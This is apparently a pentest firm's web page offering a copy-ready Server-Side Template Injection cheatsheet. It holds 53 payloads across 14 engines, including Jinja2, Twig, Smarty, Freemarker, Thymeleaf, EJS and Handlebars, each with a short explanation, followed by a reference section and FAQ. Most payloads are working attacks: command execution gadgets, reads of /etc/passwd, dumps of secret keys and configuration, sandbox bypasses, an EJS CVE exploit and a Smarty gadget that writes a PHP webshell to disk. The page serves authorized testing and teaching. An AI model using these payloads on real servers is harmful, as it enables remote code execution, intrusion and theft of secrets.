// tool · injection

SSTI cheatsheet

Server-Side Template Injection happens when user input is evaluated as a template on the server — turning into file reads or command execution. Pick the engine, filter by goal and copy the payload.

Runs 100% in your browser · nothing is sent

53 payloads

  • Jinja2 Python Detection
    {{7*7}}

    Why it works: Anything inside {{ }} is evaluated as a Python expression. If the response shows 49, the template is evaluating your input.

  • Jinja2 Python Detection
    {{7*'7'}}

    Why it works: Integer × string repeats the string (7777777). Confirms Jinja2/Python and distinguishes it from Twig, which would return 49.

  • Jinja2 Python Info & context
    {{ config.items() }}

    Why it works: In Flask, config is in the context and exposes the entire configuration — including SECRET_KEY, which lets you forge sessions.

  • Jinja2 Python RCE
    {{ cycler.__init__.__globals__.os.popen('id').read() }}

    Why it works: cycler is a Jinja2 global; via __init__.__globals__ you reach the os module and execute a command.

  • Jinja2 Python RCE
    {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

    Why it works: Classic Flask path: from request to __builtins__.__import__ to import os and run commands.

  • Jinja2 Python RCE
    {{ ''.__class__.__mro__[1].__subclasses__() }}

    Why it works: Lists every subclass of object. Find subprocess.Popen (or a file wrapper) and call it by index for RCE or file reads.

  • Jinja2 Python Sandbox bypass
    {{ ''|attr('__class__') }}

    Why it works: When the dot (.) is filtered, the attr() filter accesses attributes by string, bypassing the block.

  • Jinja2 Python Sandbox bypass
    {{ request['application']['__globals__'] }}

    Why it works: Bracket access ['...'] avoids the dot and blocklists targeting words like __globals__.

  • Tornado Python Detection
    {{7*7}}

    Why it works: Tornado also uses {{ }} for expressions. 49 confirms server-side evaluation.

  • Tornado Python RCE
    {% import os %}{{ os.popen('id').read() }}

    Why it works: Tornado allows {% import %}; import os and execute commands directly.

  • Mako Python Detection
    ${7*7}

    Why it works: Mako evaluates expressions in ${ ... }. 49 confirms the engine.

  • Mako Python RCE
    <%import os%>${os.popen('id').read()}

    Why it works: Mako accepts raw Python <% %> blocks; import os and run commands.

  • Mako Python RCE
    ${self.module.cache.util.os.system('id')}

    Why it works: Mako's attribute chain reaches os.system without needing a code block.

  • Mako Python File read
    ${open('/etc/passwd').read()}

    Why it works: open is reachable in Mako scope; reads arbitrary files from the server.

  • Django Python Detection
    {{7|add:7}}

    Why it works: Django does not evaluate free expressions; arithmetic only via filters like add. 14 suggests Django (sandboxed).

  • Django Python Info & context
    {% debug %}

    Why it works: The {% debug %} tag dumps available variables and context — information disclosure useful for escalation.

  • Django Python Info & context
    {{ settings.SECRET_KEY }}

    Why it works: If settings is in the context, it exposes secrets. In Django, SSTI is usually information disclosure, not direct RCE.

  • Twig PHP Detection
    {{7*7}}

    Why it works: Twig evaluates {{ }}. 49 confirms the engine.

  • Twig PHP Detection
    {{7*'7'}}

    Why it works: In Twig, 7*'7' yields 49 (not 7777777) — distinguishes it from Jinja2.

  • Twig PHP Info & context
    {{ _self }}

    Why it works: _self references the current template; a starting point to reach the Twig environment (_self.env).

  • Twig PHP RCE
    {{ ['id']|filter('system') }}

    Why it works: The filter filter applies system to each array item, executing the command.

  • Twig PHP RCE
    {{ ['id', 0]|sort('system') }}

    Why it works: sort uses system as the comparison callback, firing the command — an alternative when filter is blocked.

  • Twig PHP RCE
    {{ ['id']|map('system')|join }}

    Why it works: map applies system to the array and join materializes the output — another RCE path.

  • Twig PHP Sandbox bypass
    {{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }}

    Why it works: In Twig 1.x, registers system as the undefined-filter callback and triggers it with the command as the filter name.

  • Smarty PHP Detection
    {$smarty.version}

    Why it works: Prints the Smarty version — confirms the engine and guides the exploitation vector.

  • Smarty PHP Detection
    {math equation="7*7"}

    Why it works: The {math} tag evaluates the expression; 49 confirms Smarty.

  • Smarty PHP RCE
    {php}system('id');{/php}

    Why it works: The {php} tag runs raw PHP (Smarty < 3.1, or when re-enabled).

  • Smarty PHP RCE
    {system('id')}

    Why it works: When PHP functions are allowed by the security policy, they can be called directly as a tag.

  • Smarty PHP Sandbox bypass
    {Smarty_Internal_Write_File::writeFile("./shell.php","<?php system($_GET['c']); ?>",self::clearConfig())}

    Why it works: Known gadget: Smarty's static writeFile method drops a webshell to disk. self::clearConfig() supplies the Smarty instance reference required as the 3rd argument. Removed in Smarty 3.1.30+.

  • Freemarker Java Detection
    ${7*7}

    Why it works: Freemarker evaluates ${ ... }. 49 confirms the engine.

  • Freemarker Java RCE
    <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

    Why it works: Instantiates Freemarker's Execute utility class via ?new() and runs the command.

  • Freemarker Java RCE
    ${"freemarker.template.utility.Execute"?new()("id")}

    Why it works: Compact form: creates Execute and invokes it in the same expression.

  • Freemarker Java Sandbox bypass
    <#assign v="freemarker.template.utility.ObjectConstructor"?new()>${v("java.lang.ProcessBuilder","id").start()}

    Why it works: When Execute is blocked, ObjectConstructor builds an arbitrary ProcessBuilder to execute commands.

  • Velocity Java Detection
    #set($x=7*7)$x

    Why it works: Velocity sets variables with #set; printing 49 confirms the engine.

  • Velocity Java RCE
    #set($e="e")
    #set($run=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
    $run.exec("id")

    Why it works: Via reflection from a string, reaches java.lang.Runtime and executes OS commands.

  • Velocity Java RCE
    #set($run=$class.inspect("java.lang.Runtime").type.getRuntime())
    $run.exec("id")

    Why it works: When the $class tool is exposed in context, it grabs Runtime directly and executes commands.

  • Thymeleaf Java Detection
    [[${7*7}]]

    Why it works: In a Thymeleaf/Spring EL expression context, [[...]] evaluates inline; 49 confirms.

  • Thymeleaf Java RCE
    ${T(java.lang.Runtime).getRuntime().exec('id')}

    Why it works: Spring EL: T(...) references a static class; Runtime.exec executes the command.

  • Thymeleaf Java RCE
    __${T(java.lang.Runtime).getRuntime().exec("id")}__::.x

    Why it works: The __...__ preprocessing of fragment/expression names evaluates the expression — the classic Thymeleaf SSTI via view name.

  • Pug Node.js Detection
    #{7*7}

    Why it works: Pug interpolates #{ ... } as JavaScript; 49 confirms server-side evaluation.

  • Pug Node.js RCE
    #{global.process.mainModule.require('child_process').execSync('id')}

    Why it works: From global.process you reach require('child_process') and execute commands on Node.

  • Pug Node.js RCE
    = global.process.mainModule.require('child_process').execSync('id')

    Why it works: A Pug code line (= expr) executes arbitrary JavaScript on the server.

  • EJS Node.js Detection
    <%= 7*7 %>

    Why it works: EJS evaluates <%= ... %> as JavaScript; 49 confirms the engine.

  • EJS Node.js RCE
    <%= global.process.mainModule.require('child_process').execSync('id') %>

    Why it works: The JS expression in EJS executes commands via child_process.

  • EJS Node.js Sandbox bypass
    ?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('id');s

    Why it works: CVE-2022-29078: polluting EJS options injects code through the output-function name — RCE without <% %> in the input.

  • Handlebars Node.js RCE
    {{#with "s" as |string|}}
      {{#with "e"}}
        {{#with split as |conslist|}}
          {{this.pop}}
          {{this.push (lookup string.sub "constructor")}}
          {{this.pop}}
          {{#with string.split as |codelist|}}
            {{this.pop}}
            {{this.push "return require('child_process').execSync('id');"}}
            {{this.pop}}
            {{#each conslist}}
              {{#with (string.sub.apply 0 codelist)}}
                {{this}}
              {{/with}}
            {{/each}}
          {{/with}}
        {{/with}}
      {{/with}}
    {{/with}}

    Why it works: Handlebars is logic-less, but the #with/lookup/constructor gadget rebuilds a function and reaches require to execute commands (version-dependent).

  • ERB Ruby Detection
    <%= 7*7 %>

    Why it works: ERB evaluates <%= ... %> as Ruby; 49 confirms the engine.

  • ERB Ruby RCE
    <%= system('id') %>

    Why it works: system executes an operating-system command in Ruby.

  • ERB Ruby RCE
    <%= `id` %>

    Why it works: Backticks in Ruby execute the command and return the output — handy to exfiltrate the result.

  • ERB Ruby File read
    <%= File.read('/etc/passwd') %>

    Why it works: File.read reads arbitrary files from the server.

  • Go Go Detection
    {{ . }}

    Why it works: Go templates print the context with {{ . }}. If it renders the injected struct/data, template evaluation is happening.

  • Go Go Info & context
    {{ .Password }}

    Why it works: Accesses fields of the struct passed to the template, leaking sensitive context data.

  • Go Go Info & context
    {{ printf "%+v" . }}

    Why it works: printf "%+v" dumps the whole context object. In Go, SSTI rarely becomes RCE (absent a dangerous FuncMap) — focus on information disclosure.

For authorized testing, research and education only. Do not test targets without explicit permission.

// reference

What is Server-Side Template Injection

Server-Side Template Injection (SSTI) happens when user input is concatenated into the template rendered on the server, instead of being passed as data. The template engine evaluates that input as an expression — and what should be text becomes code executed on the server.

Impact ranges from information disclosure and file reads to remote code execution (RCE), depending on the engine and its sandbox. The exploitation flow is almost always the same: detect the injection, identify the engine, then escalate to file read or command execution.

Engines covered

The cheatsheet ships payloads for 14 template engines, grouped by language. Detection syntax and RCE gadgets change from one engine to another:

  • Python: Jinja2, Tornado, Mako, Django
  • PHP: Twig, Smarty
  • Java: Freemarker, Velocity, Thymeleaf
  • Node.js: Pug, EJS, Handlebars
  • Ruby: ERB
  • Go: Go

Detection → file read → RCE

Detection

Inject an arithmetic expression ({{7*7}}, ${7*7}, <%= 7*7 %>) and see whether the response evaluates to 49. Polyglots like ${{7*7}} help fire across several engines at once.

Info & context

Once the injection is confirmed, read environment variables, configuration objects and the template's internal structure to map what is reachable inside the sandbox.

File read

Many engines expose objects that open server files (for example open in Mako), leading to reads of /etc/passwd, source code and secrets.

RCE

The end goal is command execution on the server, reaching the language runtime (subprocesses, os.system, Runtime.exec) from the template context.

Sandbox bypass

When the engine restricts attributes or builtins, chain references (__class__, __mro__, request) to rebuild the blocked access and get back to RCE.

Frequently asked questions

What is Server-Side Template Injection (SSTI)?

It's when user input is concatenated into the template rendered on the server, instead of being passed as data. The engine evaluates the input as template code — which can become file reads or remote code execution (RCE).

{{7*7}} returned 49 — which engine is it?

{{7*7}} = 49 points to a Jinja2/Twig-style syntax. To disambiguate, try {{7*'7'}}: Jinja2 returns 7777777 and Twig returns 49. The cheatsheet includes detection polyglots per engine.

Is SSTI always RCE?

No. Depending on the engine and sandbox, impact ranges from information disclosure and file reads to full RCE. Some engines require a sandbox bypass to reach command execution.

What's the difference between SSTI and XSS?

Both are injections, but XSS runs in the victim's browser (client) and SSTI runs on the server that renders the template — which is why SSTI is usually far more severe.

Found SSTI in one of your apps?

IntruderLabs runs the pentest that finds and proves these flaws before an attacker does — under your brand, with white-label reporting.

Talk to us →